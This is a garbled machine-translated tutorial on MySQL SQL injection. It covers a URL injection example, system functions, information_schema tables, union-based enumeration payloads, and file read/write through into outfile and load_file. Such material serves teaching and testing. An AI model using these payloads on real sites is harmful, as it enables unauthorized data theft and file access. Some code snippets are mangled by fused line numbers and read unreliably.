Basic knowledge of SQL injection related needs in MySQL

0. Introduction:

The article part of the collation from the company colleagues, hereby acknowledge!!!

First, on the injection point on the key injection:

Let's look at a query, your first field is a filter (filter) The second field is a query keyword, such as query IP = = 1.2.3.4, the type of query you choose is IP content is 1.2.3.4

At this point the SQL statement has two ways of stitching:

1 #12sql ="SELECT * from asset where type= ' IP ' and value= ' 1.2.3.4 ';"3 " "4 The table structure should look like this5 ID Type value6 1 Domain baidu.com7 2 IP 1.2.3.48 " "9 #2Tensql ="SELECT * from asset where ip= ' 1.2.3.4 ';" One " " A The table structure should look like this - ID IP State - 1 1.2.3.4 up the 2 1.2.3.1 down - " "

Similar to the second, if the IP this place can be controlled, then there is also the possibility of injection: (Note that the general SQL is rarely written, but it is not prepared to have such a design is not!) ）

SQL stitching similar to this injection is different from the previous generic injection point on value;

This stitching time to pay attention to the stitching when closing the contents of the following, such as the original URL is http://www.ipcheck.com/ipcheckindex?key=ip&value=1.2.3.4

Then you can now http://www.ipcheck.com/ipcheckindex?key=ip%20= ' 1.2.3.4 ' union select ... #&value=1.2.3.4

Second, MySQL's function

1. System Information Function:

1. Version ()--mysql?
2. User ()--database username?
3. Database ()--Name of the databases?
4. @ @datadir--database path?
5. @ @version_compile_os-os version

2. String connection function

Concat (STR1,STR2,...) --no delimiters to concatenate strings?
Concat_ws (SEPARATOR,STR1,STR2,...) --string with delimited connection
? Group_concat (Str1,str2,...) --concatenate all the strings of a group and separate each piece of data with a comma

III. Union Select and union ALL select usage (reference from: Chen Zheng)

SQL UNION Syntax
SELECT column_name (s) from table_name1
UNION
SELECT column_name (s) from table_name2
Note: By default, the UNION operator chooses a different value. If duplicate values are allowed, use UNION all.
SQL UNION All syntax
SELECT column_name (s) from table_name1
UNION All
SELECT column_name (s) from table_name2
In addition, the column name in the union result set is always equal to the column name in the first SELECT statement in the Union.

1. Union

2. UNION ALL

Iv. Information_schema in MySQL (quoted from: Chen Zheng)

In MySQL, think of Information_schema as a database, specifically an information database. It holds information about all the other databases maintained by the MySQL server. such as database name, database table, table column data type and access permissions. In Information_schema, there are a few read-only tables. They are actually views, not basic tables, so you will not be able to see any files associated with them.
Information_schema database Table Description:

Schemata Table: Provides information for all databases in the current MySQL instance. This table is the result of show databases.

Tables Table: Provides information about the tables in the database, including views. Describes in detail which schema, table type, table engine, creation time, and so on, a table belongs to. This table is the result of show tables from SchemaName.

Columns table: Provides the column information in the table. Describes in detail all the columns of a table and the information for each column. This table is the result of show columns from Schemaname.tablename.

Statistics Table: Provides information about the index of a table. This table is the result of show index from Schemaname.tablename.

User_privileges (User Rights) Table: gives information about the full range of permissions. This information is derived from the Mysql.user authorization form. Non-standard tables.

Schema_privileges (Program permissions) Table: Provides information about schema (database) permissions. This information is from the Mysql.db authorization form. Non-standard tables.

Table_privileges (table permissions) Table: Gives information about table permissions. This information is derived from the Mysql.tables_priv authorization form. Non-standard tables.

Column_privileges (column permissions) Table: Gives information about column permissions. This information is derived from the Mysql.columns_priv authorization form. Non-standard tables.

Character_sets (character Set) Table: Provides information about the available character sets for MySQL instances. This table is the show CHARACTER set result set.

Collations table: Provides cross-reference information about each character set.

Collation_character_set_applicability table: Indicates the character set that can be used for proofreading. These columns are equivalent to the first two display fields of show collation.

Table_constraints table: A table describing the existence of constraints. And the constraint type of the table.

Key_column_usage table: Describes the key columns that have constraints.

Routines Table: Provides information about storing subroutines (stored programs and functions). At this point, the routines table does not contain a custom function (UDF). A column named "Mysql.proc name" indicates the corresponding INFORMATION_SCHEMA. The Mysql.proc table column for the routines table.

Views Table: Gives information about the view in the database. You need to have show views permission, otherwise you cannot view the view information.

Triggers table: Provides information about the triggering program. You must have super privileges to view the table

Supplemental concerns (citation from: Chen Zheng):

The general injection process for the INFORMATION_SCHEMA database by MySQL:
Number of fields to guess
Order BY, # id=0 ' ORDER by 4%23
Union Query #0 ' UNION select 1,2,3%23
Guess database
Select Schema_name from Information_schema.schemata
Select schema_name from Information_schema.schemata limit 0,1
Select Group_concat (schema_name) from Information_schema.schemata
Guess the data table of a library
Select table_name from information_schema.tables where table_schema= ' xxxxx '
Guess all the columns of a table
Select column_name from Information_schema.columns where table_name= ' xxxxx '
Get the contents of a column
Select * * * * FROM * * *

V. About file reading and writing:

1. Write Files:

Select content into outfile '/path/filename ';

2. Read the file:

Select Load_file (Path)

Basic knowledge of SQL injection related needs in MySQL